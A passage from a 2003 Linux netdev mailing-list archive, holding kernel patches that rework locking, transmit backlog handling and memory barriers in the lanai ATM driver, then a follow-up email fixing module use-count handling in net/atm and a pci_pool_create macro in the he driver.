- start: + for (;;) { read = TXREADPTR_GET_PTR(cardvcc_read(lvcc, vcc_txreadptr)); if (read == write && /* Is TX buffer empty? */ (lvcc->tx.atmvcc->qos.txtp.traffic_class != ATM_CBR || (cardvcc_read(lvcc, vcc_txcbr_next) & TXCBR_NEXT_BOZO) == 0)) - goto done; + break; if (read != lastread) { /* Has there been any progress? */ lastread = read; timeout += HZ / 10; } + if (unlikely(time_after(jiffies, timeout))) { + printk(KERN_ERR DEV_LABEL "(itf %d): Timed out on " + "backlog closing vci %d\n", + lvcc->tx.atmvcc->dev->number, lvcc->vci); + DPRINTK("read, write = %d, %d\n", read, write); + break; + } + schedule_timeout(HZ / 25); } - printk(KERN_ERR DEV_LABEL "(itf %d): Timed out on backlog closing " - "vci %d\n", lvcc->tx.atmvcc->dev->number, lvcc->vci); - DPRINTK("read, write = %d, %d\n", read, write); - done: /* 15.2.2 - clear out all tx registers */ cardvcc_write(lvcc, 0, vcc_txreadptr); cardvcc_write(lvcc, 0, vcc_txwriteptr); @@ -1226,8 +1160,7 @@ /* test if VCC is currently backlogged */ static inline int vcc_is_backlogged(/*const*/ struct lanai_vcc *lvcc) { - return lvcc->tx.inprogress != NULL || - !skb_queue_empty(&lvcc->tx.backlog); + return !skb_queue_empty(&lvcc->tx.backlog); } /* Bit fields in the segmentation buffer descriptor */ @@ -1264,11 +1197,11 @@ } /* Add 32-bit AAL5 trailer and leave room for its CRC */ -static inline void vcc_tx_add_aal5trailer(struct lanai_vcc *lvcc, +static inline void vcc_tx_add_aal5_trailer(struct lanai_vcc *lvcc, int len, int cpi, int uu) { APRINTK((((unsigned long) lvcc->tx.buf.ptr) & 15) == 8, - "vcc_tx_add_aal5_descriptor: bad ptr=%p\n", lvcc->tx.buf.ptr); + "vcc_tx_add_aal5_trailer: bad ptr=%p\n", lvcc->tx.buf.ptr); lvcc->tx.buf.ptr += 2; lvcc->tx.buf.ptr[-2] = cpu_to_be32((uu << 24) | (cpi << 16) | len); if (lvcc->tx.buf.ptr >= lvcc->tx.buf.end) @@ -1311,7 +1244,7 @@ } /* Update "butt" register to specify new WritePtr */ -static inline void lanai_endtx(const struct lanai_dev *lanai, +static inline void lanai_endtx(struct lanai_dev *lanai, const struct lanai_vcc *lvcc) { int i, ptr = ((unsigned char *) lvcc->tx.buf.ptr) - @@ -1320,6 +1253,14 @@ "lanai_endtx: bad ptr (%d), vci=%d, start,ptr,end=%p,%p,%p\n", ptr, lvcc->vci, lvcc->tx.buf.start, lvcc->tx.buf.ptr, lvcc->tx.buf.end); + + /* + * Since the "butt register" is a shared resounce on the card we + * serialize all accesses to it through this spinlock. This is + * mostly just paranoia sicne the register is rarely "busy" anyway + * but is needed for correctness. + */ + spin_lock(&lanai->endtxlock); /* * We need to check if the "butt busy" bit is set before * updating the butt register. In theory this should @@ -1334,131 +1275,86 @@ } udelay(5); } + /* + * Before we tall the card to start work we need to be sure 100% of + * the info in the service buffer has been written before we tell + * the card about it + */ + wmb(); reg_write(lanai, (ptr << 12) | lvcc->vci, Butt_Reg); + spin_unlock(&lanai->endtxlock); +} + +/* + * Add one AAL5 PDU to lvcc's transmit buffer. Caller garauntees there's + * space available. "pdusize" is the number of bytes the PDU will take + */ +static void lanai_send_one_aal5(struct lanai_dev *lanai, + struct lanai_vcc *lvcc, struct sk_buff *skb, int pdusize) +{ + int pad; + APRINTK(pdusize == aal5_size(skb->len), + "lanai_send_one_aal5: wrong size packet (%d != %d)\n", + pdusize, aal5_size(skb->len)); + vcc_tx_add_aal5_descriptor(lvcc, 0, pdusize); + pad = pdusize - skb->len - 8; + APRINTK(pad >= 0, "pad is negative (%d)\n", pad); + APRINTK(pad < 48, "pad is too big (%d)\n", pad); + vcc_tx_memcpy(lvcc, skb->data, skb->len); + vcc_tx_memzero(lvcc, pad); + vcc_tx_add_aal5_trailer(lvcc, skb->len, 0, 0); + lanai_endtx(lanai, lvcc); + lanai_free_skb(lvcc->tx.atmvcc, skb); + atomic_inc(&lvcc->tx.atmvcc->stats->tx); } /* Try to fill the buffer - don't call unless there is backlog */ static void vcc_tx_unqueue_aal5(struct lanai_dev *lanai, struct lanai_vcc *lvcc, int endptr) { - int pad, n; + int n; struct sk_buff *skb; int space = vcc_tx_space(lvcc, endptr); APRINTK(vcc_is_backlogged(lvcc), "vcc_tx_unqueue() called with empty backlog (vci=%d)\n", lvcc->vci); - if (space < 64) - return; /* No space for even 1 cell+descriptor */ - if (lvcc->tx.inprogress != NULL) { - APRINTK((lvcc->tx.inprogleft % 48) == 0, - "vcc_tx_unqueue_aal5: bad progleft=%d\n", - lvcc->tx.inprogleft); - if (lvcc->tx.inprogleft + 16 > space) { /* Can't send all? */ - n = aal5_spacefor(space - 16); /* Bytes to send */ - vcc_tx_add_aal5_descriptor(lvcc, - DESCRIPTOR_AAL5_STREAM, n); - pad = lvcc->tx.pptr + n - lvcc->tx.inprogress->tail; - if (pad < 0) - pad = 0; - vcc_tx_memcpy(lvcc, lvcc->tx.pptr, n - pad); - vcc_tx_memzero(lvcc, pad); - lvcc->tx.pptr += n; - lvcc->tx.inprogleft -= n; - goto end; /* Buffer is now full */ - } - /* OK, there's at least space for all of "inprogress" skb */ - vcc_tx_add_aal5_descriptor(lvcc, 0, - lvcc->tx.inprogleft); - pad = lvcc->tx.pptr + lvcc->tx.inprogleft - - lvcc->tx.inprogress->tail; - if (pad >= lvcc->tx.inprogleft) { /* Nothing but pad left */ - APRINTK(lvcc->tx.inprogleft == 48, - "vcc_tx_unqueue_aal5: bad pure-pad=%d\n", - lvcc->tx.inprogleft); - pad = 48; - } else - vcc_tx_memcpy(lvcc, lvcc->tx.pptr, - lvcc->tx.inprogleft - pad); - vcc_tx_memzero(lvcc, pad - 8); - vcc_tx_add_aal5trailer(lvcc, lvcc->tx.inprogress->len, 0, 0); - lanai_free_skb(lvcc->tx.atmvcc, lvcc->tx.inprogress); - lvcc->tx.inprogress = NULL; - space -= lvcc->tx.inprogleft + 16; - atomic_inc(&lvcc->tx.atmvcc->stats->tx); - } while (space >= 64) { - if ((skb = skb_dequeue(&lvcc->tx.backlog)) == NULL) - break; + skb = skb_dequeue(&lvcc->tx.backlog); + if (skb == NULL) + goto no_backlog; n = aal5_size(skb->len); - if (n + 16 > space) { /* Can only send part */ - int m = aal5_spacefor(space - 16); /* Bytes to send */ - vcc_tx_add_aal5_descriptor(lvcc, - DESCRIPTOR_AAL5_STREAM, m); - lvcc->tx.pptr = skb->data + m; - pad = lvcc->tx.pptr - skb->tail; - if (pad < 0) - pad = 0; - vcc_tx_memcpy(lvcc, skb->data, m - pad); - vcc_tx_memzero(lvcc, pad); - lvcc->tx.inprogleft = n - m; - lvcc->tx.inprogress = skb; - goto end; + if (n + 16 > space) { + /* No room for this packet - put it back on queue */ + skb_queue_head(&lvcc->tx.backlog, skb); + return; } - vcc_tx_add_aal5_descriptor(lvcc, 0, n); - pad = n - skb->len - 8; - vcc_tx_memcpy(lvcc, skb->data, skb->len); - vcc_tx_memzero(lvcc, pad); - lanai_free_skb(lvcc->tx.atmvcc, skb); - vcc_tx_add_aal5trailer(lvcc, skb->len, 0, 0); + lanai_send_one_aal5(lanai, lvcc, skb, n); space -= n + 16; - atomic_inc(&lvcc->tx.atmvcc->stats->tx); } - if (skb_queue_empty(&lvcc->tx.backlog)) + if (!vcc_is_backlogged(lvcc)) { + no_backlog: __clear_bit(lvcc->vci, lanai->backlog_vccs); - end: - lanai_endtx(lanai, lvcc); + } } /* Given an skb that we want to transmit either send it now or queue */ static void vcc_tx_aal5(struct lanai_dev *lanai, struct lanai_vcc *lvcc, struct sk_buff *skb) { - int space, n, pad; + int space, n; if (vcc_is_backlogged(lvcc)) /* Already backlogged */ goto queue_it; - space = vcc_tx_space(lvcc, TXREADPTR_GET_PTR(cardvcc_read(lvcc, - vcc_txreadptr))); - if (space < 64) { /* No space at all */ - __set_bit(lvcc->vci, lanai->backlog_vccs); - goto queue_it; - } - if (space >= 16 + (n = aal5_size(skb->len))) { - /* We can send the whole thing now */ - vcc_tx_add_aal5_descriptor(lvcc, 0, n); - pad = n - skb->len; - vcc_tx_memcpy(lvcc, skb->data, skb->len); - vcc_tx_memzero(lvcc, pad - 8); - vcc_tx_add_aal5trailer(lvcc, skb->len, 0, 0); - lanai_free_skb(lvcc->tx.atmvcc, skb); - atomic_inc(&lvcc->tx.atmvcc->stats->tx); - } else { /* Space for only part of skb */ - int bytes = aal5_spacefor(space - 16); /* Bytes to send */ - vcc_tx_add_aal5_descriptor(lvcc, - DESCRIPTOR_AAL5_STREAM, bytes); - pad = bytes - skb->len; - if (pad < 0) - pad = 0; - vcc_tx_memcpy(lvcc, skb->data, bytes - pad); - vcc_tx_memzero(lvcc, pad); - lvcc->tx.inprogress = skb; - lvcc->tx.inprogleft = n - bytes; - lvcc->tx.pptr = skb->data + bytes; + space = vcc_tx_space(lvcc, + TXREADPTR_GET_PTR(cardvcc_read(lvcc, vcc_txreadptr))); + n = aal5_size(skb->len); + APRINTK(n + 16 >= 64, "vcc_tx_aal5: n too small (%d)\n", n); + if (space < n + 16) { /* No space for this PDU */ __set_bit(lvcc->vci, lanai->backlog_vccs); + queue_it: + skb_queue_tail(&lvcc->tx.backlog, skb); + return; } - lanai_endtx(lanai, lvcc); - return; - queue_it: - skb_queue_tail(&lvcc->tx.backlog, skb); + lanai_send_one_aal5(lanai, lvcc, skb, n); } static void vcc_tx_unqueue_aal0(struct lanai_dev *lanai, @@ -1476,28 +1372,6 @@ lanai_free_skb(lvcc->tx.atmvcc, skb); } -/* Try to undequeue 1 backlogged vcc */ -static void iter_dequeue(struct lanai_dev *lanai, vci_t vci) -{ - struct lanai_vcc *lvcc = lanai->vccs[vci]; - int endptr; - if (lvcc == NULL || !vcc_is_backlogged(lvcc)) { - __clear_bit(vci, lanai->backlog_vccs); - return; - } - endptr = TXREADPTR_GET_PTR(cardvcc_read(lvcc, vcc_txreadptr)); - lvcc->tx.unqueue(lanai, lvcc, endptr); -} - -/* Try a dequeue on all backlogged connections */ -static inline void vcc_tx_dequeue_all(struct lanai_dev *lanai) -{ - unsigned long flags; - spin_lock_irqsave(&lanai->txlock, flags); - vci_bitfield_iterate(lanai, lanai->backlog_vccs, iter_dequeue); - spin_unlock_irqrestore(&lanai->txlock, flags); -} - /* -------------------- VCC RX BUFFER UTILITIES: */ /* unlike the _tx_ cousins, this doesn't update ptr */ @@ -1510,6 +1384,8 @@ m = 0; memcpy(dest, lvcc->rx.buf.ptr, n - m); memcpy(dest + n - m, lvcc->rx.buf.start, m); + /* Make sure that these copies don't get reordered */ + barrier(); } /* Receive AAL5 data on a VCC with a particular endptr */ @@ -1527,6 +1403,11 @@ /* Recover the second-to-last word to get true pdu length */ if ((x = &end[-2]) < lvcc->rx.buf.start) x = &lvcc->rx.buf.end[-2]; + /* + * Before we actually read from the buffer, make sure the memory + * changes have arrived + */ + rmb(); size = be32_to_cpup(x) & 0xffff; if (unlikely(n != aal5_size(size))) { /* Make sure size matches padding */ @@ -1542,9 +1423,9 @@ goto out; } skb_put(skb, size); + vcc_rx_memcpy(skb->data, lvcc, size); ATM_SKB(skb)->vcc = lvcc->rx.atmvcc; do_gettimeofday(&skb->stamp); - vcc_rx_memcpy(skb->data, lvcc, size); lvcc->rx.atmvcc->push(lvcc->rx.atmvcc, skb); atomic_inc(&lvcc->rx.atmvcc->stats->rx); out: @@ -1555,7 +1436,7 @@ static void vcc_rx_aal0(struct lanai_dev *lanai) { printk(KERN_INFO DEV_LABEL ": vcc_rx_aal0: not implemented\n"); - /* Remember to get vcclist_read_lock while looking up VC */ + /* Remember to get read_lock(&vcc_sklist_lock) while looking up VC */ /* Remember to increment lvcc->rx.atmvcc->stats->rx */ } @@ -1606,7 +1487,6 @@ memset(&lvcc->stats, 0, sizeof lvcc->stats); lvcc->rx.buf.start = lvcc->tx.buf.start = NULL; skb_queue_head_init(&lvcc->tx.backlog); - lvcc->tx.inprogress = NULL; #ifdef DEBUG lvcc->tx.unqueue = NULL; lvcc->vci = -1; @@ -1617,14 +1497,14 @@ static int lanai_get_sized_buffer(struct lanai_dev *lanai, struct lanai_buffer *buf, int max_sdu, int multiplier, - int min, const char *name) + const char *name) { int size; if (unlikely(max_sdu < 1)) max_sdu = 1; max_sdu = aal5_size(max_sdu); size = (max_sdu + 16) * multiplier + 16; - lanai_buf_allocate(buf, size, min, lanai->pci); + lanai_buf_allocate(buf, size, max_sdu + 32, lanai->pci); if (unlikely(buf->start == NULL)) return -ENOMEM; if (unlikely(lanai_buf_size(buf) < size)) @@ -1640,8 +1520,7 @@ struct lanai_vcc *lvcc, const struct atm_qos *qos) { return lanai_get_sized_buffer(lanai, &lvcc->rx.buf, - qos->rxtp.max_sdu, AAL5_RX_MULTIPLIER, qos->rxtp.max_sdu + 32, - "RX"); + qos->rxtp.max_sdu, AAL5_RX_MULTIPLIER, "RX"); } /* Setup a TX buffer for a currently unbound AAL5 vci */ @@ -1659,7 +1538,7 @@ multiplier = AAL5_TX_MULTIPLIER; } return lanai_get_sized_buffer(lanai, &lvcc->tx.buf, max_sdu, - multiplier, 80, "TX"); + multiplier, "TX"); } static inline void host_vcc_bind(struct lanai_dev *lanai, @@ -1759,21 +1638,21 @@ { vci_t vci = SERVICE_GET_VCI(s); struct lanai_vcc *lvcc; - vcclist_read_lock(); + read_lock(&vcc_sklist_lock); lvcc = lanai->vccs[vci]; if (unlikely(lvcc == NULL)) { - vcclist_read_unlock(); + read_unlock(&vcc_sklist_lock); DPRINTK("(itf %d) got service entry 0x%X for nonexistent " "vcc %d\n", lanai->number, (unsigned int) s, vci); if (s & SERVICE_TX) - lanai->stats.service_novcc_tx++; + lanai->stats.service_notx++; else - lanai->stats.service_novcc_rx++; + lanai->stats.service_norx++; return 0; } if (s & SERVICE_TX) { /* segmentation interrupt */ if (unlikely(lvcc->tx.atmvcc == NULL)) { - vcclist_read_unlock(); + read_unlock(&vcc_sklist_lock); DPRINTK("(itf %d) got service entry 0x%X for non-TX " "vcc %d\n", lanai->number, (unsigned int) s, vci); lanai->stats.service_notx++; @@ -1781,18 +1660,18 @@ } __set_bit(vci, lanai->transmit_ready); lvcc->tx.endptr = SERVICE_GET_END(s); - vcclist_read_unlock(); + read_unlock(&vcc_sklist_lock); return 1; } if (unlikely(lvcc->rx.atmvcc == NULL)) { - vcclist_read_unlock(); + read_unlock(&vcc_sklist_lock); DPRINTK("(itf %d) got service entry 0x%X for non-RX " "vcc %d\n", lanai->number, (unsigned int) s, vci); lanai->stats.service_norx++; return 0; } if (unlikely(lvcc->rx.atmvcc->qos.aal != ATM_AAL5)) { - vcclist_read_unlock(); + read_unlock(&vcc_sklist_lock); DPRINTK("(itf %d) got RX service entry 0x%X for non-AAL5 " "vcc %d\n", lanai->number, (unsigned int) s, vci); lanai->stats.service_rxnotaal5++; @@ -1801,12 +1680,12 @@ } if (likely(!(s & (SERVICE_TRASH | SERVICE_STREAM | SERVICE_CRCERR)))) { vcc_rx_aal5(lvcc, SERVICE_GET_END(s)); - vcclist_read_unlock(); + read_unlock(&vcc_sklist_lock); return 0; } if (s & SERVICE_TRASH) { int bytes; - vcclist_read_unlock(); + read_unlock(&vcc_sklist_lock); DPRINTK("got trashed rx pdu on vci %d\n", vci); atomic_inc(&lvcc->rx.atmvcc->stats->rx_err); lvcc->stats.x.aal5.service_trash++; @@ -1819,7 +1698,7 @@ return 0; } if (s & SERVICE_STREAM) { - vcclist_read_unlock(); + read_unlock(&vcc_sklist_lock); atomic_inc(&lvcc->rx.atmvcc->stats->rx_err); lvcc->stats.x.aal5.service_stream++; printk(KERN_ERR DEV_LABEL "(itf %d): Got AAL5 stream " @@ -1832,7 +1711,7 @@ lvcc->stats.x.aal5.service_rxcrc++; lvcc->rx.buf.ptr = &lvcc->rx.buf.start[SERVICE_GET_END(s) * 4]; cardvcc_write(lvcc, SERVICE_GET_END(s), vcc_rxreadptr); - vcclist_read_unlock(); + read_unlock(&vcc_sklist_lock); return 0; } @@ -1840,9 +1719,8 @@ static void iter_transmit(struct lanai_dev *lanai, vci_t vci) { struct lanai_vcc *lvcc = lanai->vccs[vci]; - if (!vcc_is_backlogged(lvcc)) - return; - lvcc->tx.unqueue(lanai, lvcc, lvcc->tx.endptr); + if (vcc_is_backlogged(lvcc)) + lvcc->tx.unqueue(lanai, lvcc, lvcc->tx.endptr); } /* Run service queue -- called from interrupt context or with @@ -1862,13 +1740,11 @@ } reg_write(lanai, wreg, ServRead_Reg); if (ntx != 0) { - spin_lock(&lanai->txlock); - vcclist_read_lock(); + read_lock(&vcc_sklist_lock); vci_bitfield_iterate(lanai, lanai->transmit_ready, iter_transmit); CLEAR_BITMAP(&lanai->transmit_ready, NUM_VCI); - vcclist_read_unlock(); - spin_unlock(&lanai->txlock); + read_unlock(&vcc_sklist_lock); } } @@ -1885,22 +1761,47 @@ /* -------------------- POLLING TIMER: */ +#ifndef DEBUG_RW +/* Try to undequeue 1 backlogged vcc */ +static void iter_dequeue(struct lanai_dev *lanai, vci_t vci) +{ + struct lanai_vcc *lvcc = lanai->vccs[vci]; + int endptr; + if (lvcc == NULL || lvcc->tx.atmvcc == NULL || + !vcc_is_backlogged(lvcc)) { + __clear_bit(vci, lanai->backlog_vccs); + return; + } + endptr = TXREADPTR_GET_PTR(cardvcc_read(lvcc, vcc_txreadptr)); + lvcc->tx.unqueue(lanai, lvcc, endptr); +} +#endif /* !DEBUG_RW */ + static void lanai_timed_poll(unsigned long arg) { -#ifndef DEBUG_RW struct lanai_dev *lanai = (struct lanai_dev *) arg; +#ifndef DEBUG_RW unsigned long flags; #ifdef USE_POWERDOWN if (lanai->conf1 & CONFIG1_POWERDOWN) return; -#endif - spin_lock_irqsave(&lanai->servicelock, flags); - run_service(lanai); - spin_unlock_irqrestore(&lanai->servicelock, flags); - vcc_tx_dequeue_all(lanai); +#endif /* USE_POWERDOWN */ + local_irq_save(flags); + /* If we can grab the spinlock, check if any services need to be run */ + if (spin_trylock(&lanai->servicelock)) { + run_service(lanai); + spin_unlock(&lanai->servicelock); + } + /* ...and see if any backlogged VCs can make progress */ + /* unfortunately linux has no read_trylock() currently */ + read_lock(&vcc_sklist_lock); + vci_bitfield_iterate(lanai, lanai->backlog_vccs, iter_dequeue); + read_unlock(&vcc_sklist_lock); + local_irq_restore(flags); + get_statistics(lanai); +#endif /* !DEBUG_RW */ mod_timer(&lanai->timer, jiffies + LANAI_POLL_PERIOD); -#endif /* DEBUG_RW */ } static inline void lanai_timed_poll_start(struct lanai_dev *lanai) @@ -1914,7 +1815,7 @@ static inline void lanai_timed_poll_stop(struct lanai_dev *lanai) { - del_timer(&lanai->timer); + del_timer_sync(&lanai->timer); } /* -------------------- INTERRUPT SERVICE: */ @@ -2265,13 +2166,13 @@ #endif lanai->cbrvcc = NULL; memset(&lanai->stats, 0, sizeof lanai->stats); - spin_lock_init(&lanai->txlock); + spin_lock_init(&lanai->endtxlock); spin_lock_init(&lanai->servicelock); atmdev->ci_range.vpi_bits = 0; atmdev->ci_range.vci_bits = 0; while (1 << atmdev->ci_range.vci_bits < lanai->num_vci) atmdev->ci_range.vci_bits++; - atmdev->link_rate = ((25600000 / 8 - 8000) / 54); + atmdev->link_rate = ATM_25_PCR; /* 3.2: PCI initialization */ if ((result = lanai_pci_start(lanai)) != 0) @@ -2342,6 +2243,7 @@ goto error_vcctable; } MOD_INC_USE_COUNT; /* At this point we can't fail */ + mb(); /* Make sure that all that made it */ intr_enable(lanai, INT_ALL & ~(INT_PING | INT_WAKE)); /* 3.11: initialize loop mode (i.e. turn looping off) */ lanai->conf1 = (lanai->conf1 & ~CONFIG1_MASK_LOOPMODE) | @@ -2466,16 +2368,11 @@ atmvcc->vpi = vpi; atmvcc->vci = vci; set_bit(ATM_VF_ADDR, &atmvcc->flags); - lvcc = lanai->vccs[vci]; if (atmvcc->qos.aal != ATM_AAL0 && atmvcc->qos.aal != ATM_AAL5) return -EINVAL; -#if 0 - DPRINTK(DEV_LABEL "(itf %d): open %d.%d flags=0x%lX\n", - lanai->number, (int) vpi, vci, (unsigned long) atmvcc->flags); -#else DPRINTK(DEV_LABEL "(itf %d): open %d.%d\n", lanai->number, (int) vpi, vci); -#endif + lvcc = lanai->vccs[vci]; if (lvcc == NULL) { lvcc = new_lanai_vcc(); if (unlikely(lvcc == NULL)) @@ -2517,6 +2414,11 @@ } } host_vcc_bind(lanai, lvcc, vci); + /* + * Make sure everything made it to RAM before we tell the card about + * the VCC + */ + wmb(); if (atmvcc == lvcc->rx.atmvcc) host_vcc_start_rx(lvcc); if (atmvcc == lvcc->tx.atmvcc) { @@ -2549,9 +2451,6 @@ run_service(lanai); spin_unlock_irqrestore(&lanai->servicelock, flags); return 0; } - case 2200001: - vcc_tx_dequeue_all(lanai); - return 0; case 2200002: get_statistics(lanai); return 0; @@ -2644,18 +2543,18 @@ ATM_SKB(skb)->vcc = atmvcc; switch (atmvcc->qos.aal) { case ATM_AAL5: - spin_lock_irqsave(&lanai->txlock, flags); + read_lock_irqsave(&vcc_sklist_lock, flags); vcc_tx_aal5(lanai, lvcc, skb); - spin_unlock_irqrestore(&lanai->txlock, flags); + read_unlock_irqrestore(&vcc_sklist_lock, flags); return 0; case ATM_AAL0: if (unlikely(skb->len != ATM_CELL_SIZE-1)) goto einval; /* NOTE - this next line is technically invalid - we haven't unshared skb */ cpu_to_be32s((u32 *) skb->data); - spin_lock_irqsave(&lanai->txlock, flags); + read_lock_irqsave(&vcc_sklist_lock, flags); vcc_tx_aal0(lanai, lvcc, skb); - spin_unlock_irqrestore(&lanai->txlock, flags); + read_unlock_irqrestore(&vcc_sklist_lock, flags); return 0; } DPRINTK("lanai_send: bad aal=%d on vci=%d\n", (int) atmvcc->qos.aal, @@ -2725,10 +2624,6 @@ "master_parity=%u\n", lanai->stats.pcierr_s_target_abort, lanai->stats.pcierr_master_parity); if (left-- == 0) - return sprintf(page, "service list errors: no_vcc_rx=%u, " - "no_vcc_tx=%u,\n", lanai->stats.service_novcc_rx, - lanai->stats.service_novcc_tx); - if (left-- == 0) return sprintf(page, " no_tx=%u, " "no_rx=%u, bad_rx_aal=%u\n", lanai->stats.service_norx, lanai->stats.service_notx, @@ -2737,7 +2632,7 @@ return sprintf(page, "resets: dma=%u, card=%u\n", lanai->stats.dma_reenable, lanai->stats.card_reset); /* At this point, "left" should be the VCI we're looking for */ - vcclist_read_lock(); + read_lock(&vcc_sklist_lock); for (; ; left++) { if (left >= NUM_VCI) { left = 0; @@ -2773,7 +2668,7 @@ page[left++] = '\n'; page[left] = '\0'; out: - vcclist_read_unlock(); + read_unlock(&vcc_sklist_lock); return left; } #endif /* CONFIG_PROC_FS */ From chas@cmf.nrl.navy.mil Wed Sep 3 11:58:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 11:58:13 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83Iw3WZ026981 for ; Wed, 3 Sep 2003 11:58:04 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h83Hsnl5025209; Wed, 3 Sep 2003 13:54:49 -0400 (EDT) Message-Id: <200309031754.h83Hsnl5025209@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM] 2.4 fixes Reply-To: chas3@users.sourceforge.net Date: Wed, 03 Sep 2003 13:54:50 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5542 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev some fixes for screwups i made in the 2.4.22 kernel release. [atm]: if clip isn't a module don't __MOD_DEC_USE_COUNT() # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1129 -> 1.1130 # net/atm/proc.c 1.8 -> 1.9 # net/atm/common.c 1.16 -> 1.17 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/03 chas@relax.cmf.nrl.navy.mil 1.1130 # if clip isn't a module don't __MOD_DEC_USE_COUNT() # -------------------------------------------- # diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Wed Sep 3 12:31:05 2003 +++ b/net/atm/common.c Wed Sep 3 12:31:05 2003 @@ -672,7 +672,8 @@ } if (try_atm_clip_ops()) { ret_val = atm_clip_ops->clip_create(arg); - __MOD_DEC_USE_COUNT(atm_clip_ops->owner); + if (atm_clip_ops->owner) + __MOD_DEC_USE_COUNT(atm_clip_ops->owner); } else ret_val = -ENOSYS; goto done; @@ -687,7 +688,8 @@ #endif if (try_atm_clip_ops()) { error = atm_clip_ops->atm_init_atmarp(vcc); - __MOD_DEC_USE_COUNT(atm_clip_ops->owner); + if (atm_clip_ops->owner) + __MOD_DEC_USE_COUNT(atm_clip_ops->owner); if (!error) sock->state = SS_CONNECTED; ret_val = error; @@ -701,7 +703,8 @@ } if (try_atm_clip_ops()) { ret_val = atm_clip_ops->clip_mkip(vcc, arg); - __MOD_DEC_USE_COUNT(atm_clip_ops->owner); + if (atm_clip_ops->owner) + __MOD_DEC_USE_COUNT(atm_clip_ops->owner); } else ret_val = -ENOSYS; goto done; @@ -712,7 +715,8 @@ } if (try_atm_clip_ops()) { ret_val = atm_clip_ops->clip_setentry(vcc, arg); - __MOD_DEC_USE_COUNT(atm_clip_ops->owner); + if (atm_clip_ops->owner) + __MOD_DEC_USE_COUNT(atm_clip_ops->owner); } else ret_val = -ENOSYS; goto done; @@ -723,7 +727,8 @@ } if (try_atm_clip_ops()) { ret_val = atm_clip_ops->clip_encap(vcc, arg); - __MOD_DEC_USE_COUNT(atm_clip_ops->owner); + if (atm_clip_ops->owner) + __MOD_DEC_USE_COUNT(atm_clip_ops->owner); } else ret_val = -ENOSYS; goto done; diff -Nru a/net/atm/proc.c b/net/atm/proc.c --- a/net/atm/proc.c Wed Sep 3 12:31:05 2003 +++ b/net/atm/proc.c Wed Sep 3 12:31:05 2003 @@ -358,7 +358,7 @@ spin_unlock_irqrestore(&dev->lock, flags); spin_unlock(&atm_dev_lock); #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - if (clip_info) + if (clip_info && atm_clip_ops->owner) __MOD_DEC_USE_COUNT(atm_clip_ops->owner); #endif return strlen(buf); @@ -367,8 +367,8 @@ } spin_unlock(&atm_dev_lock); #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - if (clip_info) - __MOD_DEC_USE_COUNT(atm_clip_ops->owner); + if (clip_info && atm_clip_ops->owner) + __MOD_DEC_USE_COUNT(atm_clip_ops->owner); #endif return 0; } @@ -458,7 +458,8 @@ if (--count) continue; atmarp_info(n->dev,entry,NULL,buf); read_unlock_bh(&clip_tbl_hook->lock); - __MOD_DEC_USE_COUNT(atm_clip_ops->owner); + if (atm_clip_ops->owner) + __MOD_DEC_USE_COUNT(atm_clip_ops->owner); return strlen(buf); } for (vcc = entry->vccs; vcc; @@ -466,12 +467,14 @@ if (--count) continue; atmarp_info(n->dev,entry,vcc,buf); read_unlock_bh(&clip_tbl_hook->lock); - __MOD_DEC_USE_COUNT(atm_clip_ops->owner); + if (atm_clip_ops->owner) + __MOD_DEC_USE_COUNT(atm_clip_ops->owner); return strlen(buf); } } read_unlock_bh(&clip_tbl_hook->lock); - __MOD_DEC_USE_COUNT(atm_clip_ops->owner); + if (atm_clip_ops->owner) + __MOD_DEC_USE_COUNT(atm_clip_ops->owner); return 0; } #endif [atm]: #define'ing pci_pool_create() breaks CONFIG_MODVERSION # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1130 -> 1.1131 # drivers/atm/he.c 1.4 -> 1.5 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/03 chas@relax.cmf.nrl.navy.mil 1.1131 # #define'ing pci_pool_create() breaks CONFIG_MODVERSION # -------------------------------------------- # diff -Nru a/drivers/atm/he.c b/drivers/atm/he.c --- a/drivers/atm/he.c Wed Sep 3 12:33:07 2003 +++ b/drivers/atm/he.c Wed Sep 3 12:33:07 2003 @@ -109,10 +109,6 @@ #define pci_get_drvdata(pci_dev) (pci_dev)->driver_data #endif -#if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,44) -#define pci_pool_create(a, b, c, d, e) pci_pool_create(a, b, c, d, e, SLAB_KERNEL) -#endif - #include "he.h" #include "suni.h" @@ -785,7 +781,7 @@ /* small buffer pool */ #ifdef USE_RBPS_POOL he_dev->rbps_pool = pci_pool_create("rbps", he_dev->pci_dev, - CONFIG_RBPS_BUFSIZE, 8, 0); + CONFIG_RBPS_BUFSIZE, 8, 0, SLAB_KERNEL); if (he_dev->rbps_pool == NULL) { hprintk("unable to create rbps pages\n"); return -ENOMEM; @@ -849,7 +845,7 @@ /* large buffer pool */ #ifdef USE_RBPL_POOL he_dev->rbpl_pool = pci_pool_create("rbpl", he_dev->pci_dev, - CONFIG_RBPL_BUFSIZE, 8, 0); + CONFIG_RBPL_BUFSIZE, 8, 0, SLAB_KERNEL); if (he_dev->rbpl_pool == NULL) { hprintk("unable to create rbpl pool\n"); return -ENOMEM; @@ -1475,7 